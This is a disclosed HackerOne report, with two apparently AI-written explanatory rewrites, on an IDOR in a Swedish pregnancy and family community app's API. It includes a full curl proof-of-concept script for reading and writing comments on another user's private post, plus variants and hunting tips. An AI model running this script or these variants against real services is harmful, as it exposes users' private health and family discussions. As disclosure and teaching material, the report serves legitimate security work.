Skip to content
IDOR Disclosed report Beginner

IDOR: private ████████ post comments can be read and written by any authenticated user

The comments endpoints for a private post did not enforce the same privacy check as the post endpoint, so any authenticated user could read comments on a post they could not open and also post new comments into that private thread. This exposed private family and health discussions and allowed unwanted writes into 'Only me' threads.

matty69v Follow

Originally disclosed on HackerOne

  • Triaged in 1 hour
  • Fixed in 12 days
  • Disclosed after 12 days

Summary

████████ correctly returns 404 when account A requests another user's readPrivacy=4 post through /storypost, but the same bearer token can retrieve the private comments through /getcomments and insert comments through /addcomment.

This exposes private family/health discussions and lets unrelated users write into “Only me” threads.

Full reproduction

Precondition: two unrelated ████████ accounts that completed normal onboarding, A and B. Account B has comments enabled and uses the most restrictive read setting: readPrivacy=4 (Bara jag/min partner, Only me/my partner).

Bash
#!/usr/bin/env bash
set -euo pipefail

API='https://████████/████████-mobile/v1/ClubApp.ful/api'
ROOT="$API/v1"

A_EMAIL='[email protected]'
A_PASSWORD='<A_PASSWORD>'
B_EMAIL='[email protected]'
B_PASSWORD='<B_PASSWORD>'

COMMON=(
  -H 'User-Agent: Mozilla/5.0 AppleWebKit/537.36 Chrome/136.0.0.0 Safari/537.36'
  -H 'X-HackerOne-Research: matty69v'
  -H 'Accept: */*'
  -H 'Ocp-Apim-Subscription-Key: ████████'
  -H 'X-MarketKey: ████████.se'
  -H 'Content-Type: application/json'
)

A_BODY=$(jq -nc --arg e "$A_EMAIL" --arg p "$A_PASSWORD" \
  '{Email:$e,Password:$p}')
B_BODY=$(jq -nc --arg e "$B_EMAIL" --arg p "$B_PASSWORD" \
  '{Email:$e,Password:$p}')

A_LOGIN=$(curl -sS "$ROOT/members/login" "${COMMON[@]}" --data "$A_BODY")
B_LOGIN=$(curl -sS "$ROOT/members/login" "${COMMON[@]}" --data "$B_BODY")

A_TOKEN=$(printf '%s' "$A_LOGIN" | jq -r '.authentication.logintoken')
B_TOKEN=$(printf '%s' "$B_LOGIN" | jq -r '.authentication.logintoken')
B_FAMILY=$(printf '%s' "$B_LOGIN" | jq -r '.userDetails.familyDetails.familyId')

echo '[1] B sets Only me'
curl -sS -X POST \
  "$API/v2/settings/setreadprivacysettings?familyId=$B_FAMILY&readPrivacy=4" \
  "${COMMON[@]}" -H "Authorization: Bearer $B_TOKEN"
echo

echo '[2] B enables comments'
curl -sS -X POST \
  "$ROOT/settings/setallowcommentsandlikes?familyId=$B_FAMILY&allowCommentsAndLikes=True" \
  "${COMMON[@]}" -H "Authorization: Bearer $B_TOKEN"
echo

DATE=$(date -u +'%Y-%m-%dT%H:%M:%SZ')
POST_BODY=$(jq -nc --arg d "$DATE" --argjson f "$B_FAMILY" \
  '{Text:"matty69v-private-post-proof",Subject:"",FamilyId:$f,TagUsers:[],MilestoneId:null,MilestoneFamilyMemberProfileId:null,Date:$d,StoryPostMedias:[]}')
POST=$(curl -sS "$ROOT/addpost" "${COMMON[@]}" \
  -H "Authorization: Bearer $B_TOKEN" --data "$POST_BODY")
POST_ID=$(printf '%s' "$POST" | jq -r '.internalMessage | capture("post (?<id>[0-9]+)").id')

echo '[3] B creates the private post'
printf '%s\n' "$POST"

echo '[4] B adds a private comment'
curl -sS -X POST "$ROOT/addcomment?parentPostId=$POST_ID" "${COMMON[@]}" \
  -H "Authorization: Bearer $B_TOKEN" \
  --data '{"Comment":"matty69v-private-comment-B-proof"}'
echo 'HTTP 200'

echo '[5] A cannot read the private post'
curl -sS -w '\nHTTP %{http_code}\n' \
  "$ROOT/storypost?postId=$POST_ID" "${COMMON[@]}" \
  -H "Authorization: Bearer $A_TOKEN"

echo '[6] A reads B private comment anyway'
curl -sS -w '\nHTTP %{http_code}\n' \
  "$ROOT/getcomments?postId=$POST_ID" "${COMMON[@]}" \
  -H "Authorization: Bearer $A_TOKEN"

echo '[7] A writes into B private post'
curl -sS -o /dev/null -w 'HTTP %{http_code}\n' -X POST \
  "$ROOT/addcomment?parentPostId=$POST_ID" "${COMMON[@]}" \
  -H "Authorization: Bearer $A_TOKEN" \
  --data '{"Comment":"matty69v-foreign-comment-A-proof"}'

echo '[8] B sees A comment in the Only me thread'
curl -sS -w '\nHTTP %{http_code}\n' \
  "$ROOT/getcomments?postId=$POST_ID" "${COMMON[@]}" \
  -H "Authorization: Bearer $B_TOKEN"

Observed JSON output

Exact result from the live test. Account A was ████████; account B was ████████; B's private post was ████████.

B's privacy setting

JSON
{"availableReadPrivacies":[{"type":1,"name":"Alla i ████████klubben"},{"type":4,"name":"Bara jag/min partner"},{"type":6,"name":"Partner och vänner"}],"readPrivacy":{"type":4,"name":"Bara jag/min partner"}}

B creates the post

JSON
{"successcode":0,"statuscode":200,"errorMessage":null,"userMessage":null,"internalMessage":"Successfully created post ████████."}

A cannot read the post

Text
HTTP 404
{"statuscode":404,"errorcode":"NotFoundException","userMessage":"Fel lösenord eller mejladress","internalMessage":"\"Post\" (████████) was not found."}

A reads B's private comment

Text
HTTP 200
[{"storyId":████████,"storyType":"commentpost","createDate":"2026-11-11T10:14:46.3239989","postType":1,"parentPostId":████████,"author":{"id":████████,"imageUrl":"████████","firstname":"matty69v-research","lastname":"matty69v-research"},"text":"matty69v-private-comment-B-a099cb6e"}]

Response SHA-256: ████████

Result summary

JSON
{
  "post_owner": ████████,
  "post_id": ████████,
  "read_privacy": "Only me/my partner",
  "A_read_post_status": 404,
  "A_read_B_comment_status": 200,
  "A_read_private_comment": "matty69v-private-comment-B-a099cb6e",
  "A_wrote_foreign_comment_status": 200,
  "A_foreign_comment": "matty69v-foreign-comment-A-1242f3ff"
}

B sees A's unauthorized comment

Text
HTTP 200
[{"storyId":████████,"storyType":"commentpost","createDate":"2026-11-11T10:14:46.3239989","postType":1,"parentPostId":████████,"author":{"id":████████,"imageUrl":"████████","firstname":"matty69v-research","lastname":"matty69v-research"},"text":"matty69v-private-comment-B-a099cb6e"},{"storyId":████████,"storyType":"commentpost","createDate":"2026-11-11T10:14:50.7369722","postType":1,"parentPostId":████████,"author":{"id":████████,"imageUrl":"████████","firstname":"matty69v-research","lastname":"matty69v-research"},"text":"matty69v-foreign-comment-A-1242f3ff"}]

Fix

Authorize the parent post before reading or writing comments. /getcomments and /addcomment must use the same canViewPost(currentUser, postId) check as /storypost, and writes must additionally require comments to be enabled.

Impact

Any authenticated ████████ user can obtain private comment text and commenter metadata from posts they cannot access, and can inject comments into another user's private thread. Because comments are part of a pregnancy/████████/family community, they may contain sensitive health and child information.

The original report as published on HackerOne, by matty69v. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

The target is the Swedish site https://libero.se, part of the Essity program on HackerOne. The affected surface is a mobile API reached through a path the report shows as https://████████/████████-mobile/v1/ClubApp.ful/api, with a versioned root under /v1. The product is a club app for a pregnancy, baby and family community, where members post updates and discuss them in comments.

The feature under scrutiny is the story post and its comment thread. A post carries a read privacy setting, and the most restrictive value is readPrivacy=4, labelled Bara jag/min partner (Only me/my partner). Comments can be enabled or disabled per family through a separate setting. The API exposes /storypost to fetch a post, /getcomments to list its comments and /addcomment to write one.

Setup

The researcher used two unrelated accounts that had completed normal onboarding, called A (the attacker) and B (the victim). Account B had comments enabled and its read privacy set to the most restrictive value, readPrivacy=4.

The tooling is a bash script driven by curl and jq. Every request carries a common set of headers, including a subscription key and a market key, plus a research header identifying the tester. Authentication is a bearer token taken from the login response at .authentication.logintoken; B's family identifier comes from .userDetails.familyDetails.familyId.

Bash
#!/usr/bin/env bash
set -euo pipefail

API='https://████████/████████-mobile/v1/ClubApp.ful/api'
ROOT="$API/v1"

A_EMAIL='[redacted]'
A_PASSWORD='<A_PASSWORD>'
B_EMAIL='[redacted]'
B_PASSWORD='<B_PASSWORD>'

COMMON=(
  -H 'User-Agent: Mozilla/5.0 AppleWebKit/537.36 Chrome/[redacted] Safari/537.36'
  -H 'X-HackerOne-Research: matty69v'
  -H 'Accept: */*'
  -H 'Ocp-Apim-Subscription-Key: ████████'
  -H 'X-MarketKey: ████████.se'
  -H 'Content-Type: application/json'
)

A_BODY=$(jq -nc --arg e "$A_EMAIL" --arg p "$A_PASSWORD" \
  '{Email:$e,Password:$p}')
B_BODY=$(jq -nc --arg e "$B_EMAIL" --arg p "$B_PASSWORD" \
  '{Email:$e,Password:$p}')

A_LOGIN=$(curl -sS "$ROOT/members/login" "${COMMON[@]}" --data "$A_BODY")
B_LOGIN=$(curl -sS "$ROOT/members/login" "${COMMON[@]}" --data "$B_BODY")

A_TOKEN=$(printf '%s' "$A_LOGIN" | jq -r '.authentication.logintoken')
B_TOKEN=$(printf '%s' "$B_LOGIN" | jq -r '.authentication.logintoken')
B_FAMILY=$(printf '%s' "$B_LOGIN" | jq -r '.userDetails.familyDetails.familyId')

The login endpoint is POST /v1/members/login with a JSON body of Email and Password. The two tokens and B's family id are extracted once and reused for the rest of the run.

Finding it

The starting observation is a contrast in behaviour. When account A requests another user's readPrivacy=4 post through /storypost, the API correctly returns 404. The same bearer token, however, can retrieve the private comments of that post through /getcomments and insert new comments through /addcomment. The post object is protected; the comment endpoints hanging off the same post id are not.

That asymmetry is the whole bug: the authorisation check exists on one endpoint and is missing on its siblings, which take the same postId and act on the same object.

Exploitation

Step 1: B sets the most restrictive privacy

Bash
curl -sS -X POST \
  "$API/v2/settings/setreadprivacysettings?familyId=$B_FAMILY&readPrivacy=4" \
  "${COMMON[@]}" -H "Authorization: Bearer $B_TOKEN"

This is a POST to the v2 settings path with familyId and readPrivacy=4 as query parameters, authorised with B's token. The response confirms the setting was applied:

JSON
{"availableReadPrivacies":[{"type":1,"name":"Alla i ████████klubben"},{"type":4,"name":"Bara jag/min partner"},{"type":6,"name":"Partner och vänner"}],"readPrivacy":{"type":4,"name":"Bara jag/min partner"}}

The three available values are 1 (everyone in the club), 4 (only me/my partner) and 6 (partner and friends). The active value is 4.

Step 2: B enables comments

Bash
curl -sS -X POST \
  "$ROOT/settings/setallowcommentsandlikes?familyId=$B_FAMILY&allowCommentsAndLikes=True" \
  "${COMMON[@]}" -H "Authorization: Bearer $B_TOKEN"

Comments and likes are switched on for B's family, so the thread exists and is writable in the normal flow. This matters later, because the fix has to keep the comment-enabled requirement for writes.

Step 3: B creates the private post

Bash
DATE=$(date -u +'%Y-%m-%dT%H:%M:%SZ')
POST_BODY=$(jq -nc --arg d "$DATE" --argjson f "$B_FAMILY" \
  '{Text:"matty69v-private-post-proof",Subject:"",FamilyId:$f,TagUsers:[],MilestoneId:null,MilestoneFamilyMemberProfileId:null,Date:$d,StoryPostMedias:[]}')
POST=$(curl -sS "$ROOT/addpost" "${COMMON[@]}" \
  -H "Authorization: Bearer $B_TOKEN" --data "$POST_BODY")
POST_ID=$(printf '%s' "$POST" | jq -r '.internalMessage | capture("post (?<id>[0-9]+)").id')

The post body carries the text, an empty subject, the family id, no tagged users, no milestone, a UTC timestamp and an empty media array. The new post id is not returned as a field; it is parsed out of the human-readable internalMessage with a regex. The response is:

JSON
{"successcode":0,"statuscode":200,"errorMessage":null,"userMessage":null,"internalMessage":"Successfully created post ████████."}

Step 4: B adds a private comment

Bash
curl -sS -X POST "$ROOT/addcomment?parentPostId=$POST_ID" "${COMMON[@]}" \
  -H "Authorization: Bearer $B_TOKEN" \
  --data '{"Comment":"matty69v-private-comment-B-proof"}'

The comment endpoint takes the target post as the parentPostId query parameter and the text in a JSON Comment field. The script prints HTTP 200 after this call.

Step 5: A cannot read the post

Bash
curl -sS -w '\nHTTP %{http_code}\n' \
  "$ROOT/storypost?postId=$POST_ID" "${COMMON[@]}" \
  -H "Authorization: Bearer $A_TOKEN"

With A's token, the post fetch is refused:

Text
HTTP 404
{"statuscode":404,"errorcode":"NotFoundException","userMessage":"Fel lösenord eller mejladress","internalMessage":"\"Post\" (████████) was not found."}

The internalMessage says the post was not found, while the user-facing message is a generic wrong-password-or-email string. The privacy check on this endpoint works.

Step 6: A reads B's private comment anyway

Bash
curl -sS -w '\nHTTP %{http_code}\n' \
  "$ROOT/getcomments?postId=$POST_ID" "${COMMON[@]}" \
  -H "Authorization: Bearer $A_TOKEN"

The same postId, the same A token, a different endpoint, and the comment comes back:

Text
HTTP 200
[{"storyId":████████,"storyType":"commentpost","createDate":"2026-11-11T10:14:46.3239989","postType":1,"parentPostId":████████,"author":{"id":████████,"imageUrl":"████████","firstname":"matty69v-research","lastname":"matty69v-research"},"text":"matty69v-private-comment-B-a099cb6e"}]

Each comment object includes the story id, the type commentpost, the creation timestamp, the parent post id, the author object (id, image URL, first and last name) and the comment text. So the leak is not only the text but also commenter metadata.

Step 7: A writes into B's private post

Bash
curl -sS -o /dev/null -w 'HTTP %{http_code}\n' -X POST \
  "$ROOT/addcomment?parentPostId=$POST_ID" "${COMMON[@]}" \
  -H "Authorization: Bearer $A_TOKEN" \
  --data '{"Comment":"matty69v-foreign-comment-A-proof"}'

A's token is accepted on the write path as well, and the call returns HTTP 200. The result summary records the outcome:

JSON
{
  "post_owner": ████████,
  "post_id": ████████,
  "read_privacy": "Only me/my partner",
  "A_read_post_status": 404,
  "A_read_B_comment_status": 200,
  "A_read_private_comment": "matty69v-private-comment-B-a099cb6e",
  "A_wrote_foreign_comment_status": 200,
  "A_foreign_comment": "matty69v-foreign-comment-A-1242f3ff"
}

Step 8: B sees A's comment in the Only me thread

Bash
curl -sS -w '\nHTTP %{http_code}\n' \
  "$ROOT/getcomments?postId=$POST_ID" "${COMMON[@]}" \
  -H "Authorization: Bearer $B_TOKEN"

B's own view of the thread now contains both comments:

Text
HTTP 200
[{"storyId":████████,"storyType":"commentpost","createDate":"2026-11-11T10:14:46.3239989","postType":1,"parentPostId":████████,"author":{"id":████████,"imageUrl":"████████","firstname":"matty69v-research","lastname":"matty69v-research"},"text":"matty69v-private-comment-B-a099cb6e"},{"storyId":████████,"storyType":"commentpost","createDate":"2026-11-11T10:14:50.7369722","postType":1,"parentPostId":████████,"author":{"id":████████,"imageUrl":"████████","firstname":"matty69v-research","lastname":"matty69v-research"},"text":"matty69v-foreign-comment-A-1242f3ff"}]

The second entry is A's injected comment, returned in B's own view of the thread.

Root cause

/storypost performs an authorisation check on the requested post and returns 404 when the caller is not allowed to see it. /getcomments and /addcomment take the same postId (as postId and parentPostId respectively) but do not apply that check. The object reference is the post id, and the comment endpoints trust it without asking whether the current user may view the parent post.

The report's own fix wording names the missing piece: both comment endpoints must use the same canViewPost(currentUser, postId) check as /storypost, and writes must additionally require comments to be enabled. The comment-enabled requirement is a separate control from read privacy, and the report says writes must additionally require it.

Impact

Any authenticated user of the app can obtain private comment text and commenter metadata from posts they cannot access, and can inject comments into another user's private thread. The precondition is simply an account on the platform; no relationship to the victim is needed, as the two accounts in the test were unrelated.

Because the community is built around pregnancy, baby and family topics, comments may contain sensitive health and child information.

Fix

Authorise the parent post before reading or writing comments. /getcomments and /addcomment must use the same canViewPost(currentUser, postId) check as /storypost, and writes must additionally require comments to be enabled. The report describes this as the fix; it does not state what the vendor actually changed.

Variants to test

  1. Enumerate sibling endpoints that take a post or thread id and return child objects: comment lists, like lists, reaction summaries, media lists, edit and delete routes. A positive result is a 200 with data for an object whose parent fetch returns 404.
  2. Try the write path with comments disabled on the victim family. If the write still succeeds, the comment-enabled control is missing independently of the privacy check.
  3. Swap the identifier type: use the comment's own storyId rather than the parent post id on edit or delete routes, and check whether the parent post is authorised at all.
  4. Test the same pattern on other privacy levels (1 and 6) to see whether the comment endpoints ignore privacy entirely rather than only the most restrictive value.
  5. Check whether the author metadata in comment responses (id, image URL, name) is returned for users whose profile the caller cannot otherwise view.

Hunting notes

This kind of bug hides where a parent object has a proper access check and its sub-resources are served by separate handlers that receive the parent id as a parameter. The signal during recon is a consistent 404 on the object endpoint combined with a 200 on a related collection endpoint for the same id. Comparing the error shape helps: here the object endpoint returned a NotFoundException with an internalMessage naming the missing post, which shows the check exists and is simply absent elsewhere.

To show enough impact, the researcher demonstrated both directions: reading a comment written by the victim and writing a comment the victim then sees in their own thread, with the object endpoint returning 404 for the same id and token in between. The report presents that contrast and the sensitive nature of the community as the impact.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

A Swedish community app for pregnancy, baby and family life lets members write posts and discuss them in comments. Each post has a privacy setting, and the strictest one means "Only me/my partner". The app's mobile API is supposed to refuse to show such a post to anyone else. It does refuse when you ask for the post itself. But the two endpoints that handle the comments under that post, one for reading them and one for writing them, never ask the same question. So any logged-in member who knows the post's number can read the private comments and add their own comment into the private thread.

This is called an Insecure Direct Object Reference, or IDOR: the server takes an object number (here a post id) straight from the request and acts on it without checking whether the person making the request is allowed to touch that object. The report shows the whole thing with two ordinary accounts and a short script, and the fix is to make the comment endpoints perform the same permission check as the post endpoint.

Context

The target is the Swedish site https://libero.se, part of the Essity program on HackerOne. The affected surface is a mobile API reached through a path the report shows as https://████████/████████-mobile/v1/ClubApp.ful/api, with a versioned root under /v1. The product is a club app for a pregnancy, baby and family community, where members post updates and discuss them in comments.

An API (Application Programming Interface) is the set of addresses a program talks to when it is not a human clicking around a website. Think of a restaurant: the website is the dining room, the API is the kitchen door where the waiter hands in orders. The mobile app sends its orders to these addresses, and so can anyone else who knows them.

The feature under scrutiny is the story post and its comment thread. A post carries a read privacy setting, and the most restrictive value is readPrivacy=4, labelled Bara jag/min partner (Only me/my partner). Comments can be enabled or disabled per family through a separate setting. The API exposes /storypost to fetch a post, /getcomments to list its comments and /addcomment to write one.

Setup

The researcher used two unrelated accounts that had completed normal onboarding, called A (the attacker) and B (the victim). Account B had comments enabled and its read privacy set to the most restrictive value, readPrivacy=4.

"Unrelated" matters: the two accounts have no family link, no friendship, nothing that would justify A seeing B's content.

The tooling is a bash script driven by curl and jq. curl is a command-line program that sends web requests, the same requests a browser sends but typed instead of clicked. jq is a small tool that picks values out of JSON, the text format APIs use to reply. Every request carries a common set of headers, including a subscription key and a market key, plus a research header identifying the tester. Headers are the extra lines attached to a request, like the label and stamps on an envelope. Authentication is a bearer token taken from the login response at .authentication.logintoken; B's family identifier comes from .userDetails.familyDetails.familyId.

A bearer token is a long random string the server gives you after login. You show it on every later request instead of your password, the way a cloakroom ticket proves the coat is yours. Anyone holding the ticket is treated as you, which is why it must stay secret.

Bash
#!/usr/bin/env bash
set -euo pipefail

API='https://████████/████████-mobile/v1/ClubApp.ful/api'
ROOT="$API/v1"

A_EMAIL='[redacted]'
A_PASSWORD='<A_PASSWORD>'
B_EMAIL='[redacted]'
B_PASSWORD='<B_PASSWORD>'

COMMON=(
  -H 'User-Agent: Mozilla/5.0 AppleWebKit/537.36 Chrome/[redacted] Safari/537.36'
  -H 'X-HackerOne-Research: matty69v'
  -H 'Accept: */*'
  -H 'Ocp-Apim-Subscription-Key: ████████'
  -H 'X-MarketKey: ████████.se'
  -H 'Content-Type: application/json'
)

A_BODY=$(jq -nc --arg e "$A_EMAIL" --arg p "$A_PASSWORD" \
  '{Email:$e,Password:$p}')
B_BODY=$(jq -nc --arg e "$B_EMAIL" --arg p "$B_PASSWORD" \
  '{Email:$e,Password:$p}')

A_LOGIN=$(curl -sS "$ROOT/members/login" "${COMMON[@]}" --data "$A_BODY")
B_LOGIN=$(curl -sS "$ROOT/members/login" "${COMMON[@]}" --data "$B_BODY")

A_TOKEN=$(printf '%s' "$A_LOGIN" | jq -r '.authentication.logintoken')
B_TOKEN=$(printf '%s' "$B_LOGIN" | jq -r '.authentication.logintoken')
B_FAMILY=$(printf '%s' "$B_LOGIN" | jq -r '.userDetails.familyDetails.familyId')

Line by line:

  1. #!/usr/bin/env bash says the file is a bash script, and set -euo pipefail makes it stop at the first error instead of carrying on with empty values.
  2. API stores the base address of the mobile API, and ROOT appends /v1, the version prefix used by most calls.
  3. The four lines with A_EMAIL, A_PASSWORD, B_EMAIL and B_PASSWORD are the two test accounts' credentials.
  4. COMMON=( ... ) builds a reusable list of headers: a browser-like User-Agent so the server sees a normal client, X-HackerOne-Research to mark the traffic as a security test, Accept: */* to accept any reply format, a subscription key and a market key, and Content-Type: application/json to say the bodies are JSON.
  5. A_BODY and B_BODY use jq to build the JSON login bodies {Email, Password} for each account.
  6. The two curl calls send those bodies to POST /v1/members/login and save the replies in A_LOGIN and B_LOGIN.
  7. The last three lines pull out the two tokens and B's family id from the saved replies with jq, so the rest of the script can reuse them.

The login endpoint is POST /v1/members/login with a JSON body of Email and Password. The two tokens and B's family id are extracted once and reused for the rest of the run.

Finding it

The starting observation is a contrast in behaviour. When account A requests another user's readPrivacy=4 post through /storypost, the API correctly returns 404. The same bearer token, however, can retrieve the private comments of that post through /getcomments and insert new comments through /addcomment. The post object is protected; the comment endpoints hanging off the same post id are not.

404 is the web's "not found" answer. Here it is used on purpose to hide the post: the server pretends the post does not exist rather than saying "you are not allowed", which avoids confirming that a private post exists at all.

That asymmetry is the whole bug: the authorisation check exists on one endpoint and is missing on its siblings, which take the same postId and act on the same object. Authorisation means deciding whether this particular user may do this particular thing, as opposed to authentication, which is only proving who the user is. A is properly authenticated; the question is whether A is authorised, and on the comment endpoints nobody asks.

Exploitation

Step 1: B sets the most restrictive privacy

Bash
curl -sS -X POST \
  "$API/v2/settings/setreadprivacysettings?familyId=$B_FAMILY&readPrivacy=4" \
  "${COMMON[@]}" -H "Authorization: Bearer $B_TOKEN"

This is a POST to the v2 settings path with familyId and readPrivacy=4 as query parameters, authorised with B's token. Query parameters are the name=value pairs after the ? in a URL, a way of passing small pieces of data in the address itself. The response confirms the setting was applied:

JSON
{"availableReadPrivacies":[{"type":1,"name":"Alla i ████████klubben"},{"type":4,"name":"Bara jag/min partner"},{"type":6,"name":"Partner och vänner"}],"readPrivacy":{"type":4,"name":"Bara jag/min partner"}}

The three available values are 1 (everyone in the club), 4 (only me/my partner) and 6 (partner and friends). The active value is 4.

Step 2: B enables comments

Bash
curl -sS -X POST \
  "$ROOT/settings/setallowcommentsandlikes?familyId=$B_FAMILY&allowCommentsAndLikes=True" \
  "${COMMON[@]}" -H "Authorization: Bearer $B_TOKEN"

Comments and likes are switched on for B's family, so the thread exists and is writable in the normal flow. This matters later, because the fix has to keep the comment-enabled requirement for writes.

Step 3: B creates the private post

Bash
DATE=$(date -u +'%Y-%m-%dT%H:%M:%SZ')
POST_BODY=$(jq -nc --arg d "$DATE" --argjson f "$B_FAMILY" \
  '{Text:"matty69v-private-post-proof",Subject:"",FamilyId:$f,TagUsers:[],MilestoneId:null,MilestoneFamilyMemberProfileId:null,Date:$d,StoryPostMedias:[]}')
POST=$(curl -sS "$ROOT/addpost" "${COMMON[@]}" \
  -H "Authorization: Bearer $B_TOKEN" --data "$POST_BODY")
POST_ID=$(printf '%s' "$POST" | jq -r '.internalMessage | capture("post (?<id>[0-9]+)").id')

The post body carries the text, an empty subject, the family id, no tagged users, no milestone, a UTC timestamp and an empty media array. The new post id is not returned as a field; it is parsed out of the human-readable internalMessage with a regex. A regex (regular expression) is a pattern for finding a piece of text inside a longer string; here it looks for the word "post" followed by digits. The response is:

JSON
{"successcode":0,"statuscode":200,"errorMessage":null,"userMessage":null,"internalMessage":"Successfully created post ████████."}

Step 4: B adds a private comment

Bash
curl -sS -X POST "$ROOT/addcomment?parentPostId=$POST_ID" "${COMMON[@]}" \
  -H "Authorization: Bearer $B_TOKEN" \
  --data '{"Comment":"matty69v-private-comment-B-proof"}'

The comment endpoint takes the target post as the parentPostId query parameter and the text in a JSON Comment field. The script prints HTTP 200 after this call.

Step 5: A cannot read the post

Bash
curl -sS -w '\nHTTP %{http_code}\n' \
  "$ROOT/storypost?postId=$POST_ID" "${COMMON[@]}" \
  -H "Authorization: Bearer $A_TOKEN"

With A's token, the post fetch is refused:

Text
HTTP 404
{"statuscode":404,"errorcode":"NotFoundException","userMessage":"Fel lösenord eller mejladress","internalMessage":"\"Post\" (████████) was not found."}

The internalMessage says the post was not found, while the user-facing message is a generic wrong-password-or-email string. The privacy check on this endpoint works.

Step 6: A reads B's private comment anyway

Bash
curl -sS -w '\nHTTP %{http_code}\n' \
  "$ROOT/getcomments?postId=$POST_ID" "${COMMON[@]}" \
  -H "Authorization: Bearer $A_TOKEN"

The same postId, the same A token, a different endpoint, and the comment comes back:

Text
HTTP 200
[{"storyId":████████,"storyType":"commentpost","createDate":"2026-11-11T10:14:46.3239989","postType":1,"parentPostId":████████,"author":{"id":████████,"imageUrl":"████████","firstname":"matty69v-research","lastname":"matty69v-research"},"text":"matty69v-private-comment-B-a099cb6e"}]

Each comment object includes the story id, the type commentpost, the creation timestamp, the parent post id, the author object (id, image URL, first and last name) and the comment text. So the leak is not only the text but also commenter metadata. Metadata is data about data: here, who wrote the comment and what their profile looks like, which is useful to an attacker even without the words themselves.

Step 7: A writes into B's private post

Bash
curl -sS -o /dev/null -w 'HTTP %{http_code}\n' -X POST \
  "$ROOT/addcomment?parentPostId=$POST_ID" "${COMMON[@]}" \
  -H "Authorization: Bearer $A_TOKEN" \
  --data '{"Comment":"matty69v-foreign-comment-A-proof"}'

A's token is accepted on the write path as well, and the call returns HTTP 200. The -o /dev/null part throws away the reply body because only the status code matters here. The result summary records the outcome:

JSON
{
  "post_owner": ████████,
  "post_id": ████████,
  "read_privacy": "Only me/my partner",
  "A_read_post_status": 404,
  "A_read_B_comment_status": 200,
  "A_read_private_comment": "matty69v-private-comment-B-a099cb6e",
  "A_wrote_foreign_comment_status": 200,
  "A_foreign_comment": "matty69v-foreign-comment-A-1242f3ff"
}

Step 8: B sees A's comment in the Only me thread

Bash
curl -sS -w '\nHTTP %{http_code}\n' \
  "$ROOT/getcomments?postId=$POST_ID" "${COMMON[@]}" \
  -H "Authorization: Bearer $B_TOKEN"

B's own view of the thread now contains both comments:

Text
HTTP 200
[{"storyId":████████,"storyType":"commentpost","createDate":"2026-11-11T10:14:46.3239989","postType":1,"parentPostId":████████,"author":{"id":████████,"imageUrl":"████████","firstname":"matty69v-research","lastname":"matty69v-research"},"text":"matty69v-private-comment-B-a099cb6e"},{"storyId":████████,"storyType":"commentpost","createDate":"2026-11-11T10:14:50.7369722","postType":1,"parentPostId":████████,"author":{"id":████████,"imageUrl":"████████","firstname":"matty69v-research","lastname":"matty69v-research"},"text":"matty69v-foreign-comment-A-1242f3ff"}]

The second entry is A's injected comment, returned in B's own view of the thread.

Root cause

/storypost performs an authorisation check on the requested post and returns 404 when the caller is not allowed to see it. /getcomments and /addcomment take the same postId (as postId and parentPostId respectively) but do not apply that check. The object reference is the post id, and the comment endpoints trust it without asking whether the current user may view the parent post.

The report's own fix wording names the missing piece: both comment endpoints must use the same canViewPost(currentUser, postId) check as /storypost, and writes must additionally require comments to be enabled. The comment-enabled requirement is a separate control from read privacy, and the report says writes must additionally require it.

Impact

Any authenticated user of the app can obtain private comment text and commenter metadata from posts they cannot access, and can inject comments into another user's private thread. The precondition is simply an account on the platform; no relationship to the victim is needed, as the two accounts in the test were unrelated.

Because the community is built around pregnancy, baby and family topics, comments may contain sensitive health and child information.

Fix

Authorise the parent post before reading or writing comments. /getcomments and /addcomment must use the same canViewPost(currentUser, postId) check as /storypost, and writes must additionally require comments to be enabled. The report describes this as the fix; it does not state what the vendor actually changed.

Variants to test

  1. Enumerate sibling endpoints that take a post or thread id and return child objects: comment lists, like lists, reaction summaries, media lists, edit and delete routes. A positive result is a 200 with data for an object whose parent fetch returns 404.
  2. Try the write path with comments disabled on the victim family. If the write still succeeds, the comment-enabled control is missing independently of the privacy check.
  3. Swap the identifier type: use the comment's own storyId rather than the parent post id on edit or delete routes, and check whether the parent post is authorised at all.
  4. Test the same pattern on other privacy levels (1 and 6) to see whether the comment endpoints ignore privacy entirely rather than only the most restrictive value.
  5. Check whether the author metadata in comment responses (id, image URL, name) is returned for users whose profile the caller cannot otherwise view.

Hunting notes

This kind of bug hides where a parent object has a proper access check and its sub-resources are served by separate handlers that receive the parent id as a parameter. The signal during recon is a consistent 404 on the object endpoint combined with a 200 on a related collection endpoint for the same id. Comparing the error shape helps: here the object endpoint returned a NotFoundException with an internalMessage naming the missing post, which shows the check exists and is simply absent elsewhere.

To show enough impact, the researcher demonstrated both directions: reading a comment written by the victim and writing a comment the victim then sees in their own thread, with the object endpoint returning 404 for the same id and token in between. The report presents that contrast and the sensitive nature of the community as the impact.

Glossary

  • API: the set of addresses a program uses to talk to a service, separate from the human-facing website.
  • Authentication: proving who you are, usually by logging in.
  • Authorisation: deciding whether an identified user is allowed to do a specific action on a specific object.
  • Bearer token: a random string issued at login that is sent with later requests in place of a password; whoever holds it is treated as the user.
  • Bash: the command-line shell on Linux and macOS used to run scripts.
  • Comment thread: the list of comments attached to a post.
  • curl: a command-line tool that sends HTTP requests.
  • Endpoint: one specific address and method on an API, such as POST /addcomment.
  • Header: an extra line of information attached to an HTTP request or response, such as Content-Type or Authorization.
  • HTTP 200: the standard success status code.
  • HTTP 404: the standard "not found" status code, used here to hide private posts.
  • IDOR (Insecure Direct Object Reference): a bug where the server takes an object id from the request and acts on it without checking the caller's permission.
  • jq: a command-line tool for reading and building JSON.
  • JSON: a text format for structured data, made of keys and values.
  • Metadata: data about data, such as who wrote a comment and when.
  • Onboarding: the initial sign-up and setup steps a new user completes.
  • Query parameter: a name=value pair after the ? in a URL.
  • Regex (regular expression): a pattern used to find or extract text inside a string.
  • readPrivacy: the post setting that controls who may read a post; 4 is the most restrictive, "Only me/my partner".
  • Root cause: the underlying reason a bug exists, as opposed to its visible symptom.
  • Severity: a rating of how serious a vulnerability is, here high.
  • Subscription key / market key: API gateway headers the client must send for requests to be accepted.
  • UTC: Coordinated Universal Time, a common time standard used in timestamps.

More by matty69v

View all

16 more disclosed reports, best first.

More from Essity

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

